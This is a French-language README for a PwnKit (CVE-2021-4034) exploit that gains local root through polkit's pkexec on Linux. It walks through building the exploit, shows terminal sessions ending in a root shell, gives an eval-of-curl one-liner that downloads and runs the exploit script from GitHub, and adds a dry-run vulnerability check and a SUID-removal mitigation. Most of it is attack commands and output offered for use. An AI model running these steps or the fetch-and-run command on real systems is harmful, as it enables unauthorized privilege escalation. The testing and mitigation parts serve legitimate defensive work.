
Exploit for CVE-2021-4034 (PwnKit) ciblant polkit pkexec pour obtenir une élévation de privilèges locale vers root sur les systèmes Linux. Inclut un mode dry-run pour les tests de vulnérabilité.
Un jour pour l'exploit d'élévation de privilèges polkit
Exécutez simplement make, ./cve-2021-4034 et profitez de votre shell root.
L'avis original par les véritables auteurs est ici
Si l'exploit fonctionne, vous obtiendrez immédiatement un shell root :
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Mettre à jour polkit sur la plupart des systèmes corrigera l'exploit. Vous verrez donc l'utilisation et le programme se terminera :
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Pour ne pas exécuter un shell mais simplement tester si le système est vulnérable, compilez la cible dry-run.
Si le programme se termine en affichant "root", cela signifie que votre système est vulnérable à l'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Si votre système n'est pas vulnérable, il affiche une erreur et se termine.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anciennement PolicyKit) est un composant permettant de contrôler les privilèges à l'échelle du système dans les systèmes d'exploitation de type Unix. Il offre un moyen organisé pour les processus non privilégiés de communiquer avec les processus privilégiés. Il est également possible d'utiliser polkit pour exécuter des commandes avec des privilèges élevés via la commande pkexec suivie de la commande à exécuter (avec permission root).
Vous pouvez facilement exploiter le système en utilisant un seul script, téléchargeable et exécutable avec cette commande :
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Si aucun correctif n'est disponible pour votre système d'exploitation, vous pouvez supprimer le bit SUID de pkexec comme mesure d'atténuation temporaire.
# chmod 0755 /usr/bin/pkexec
L'exploit échouera alors en signalant que pkexec doit avoir le bit setuid activé.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root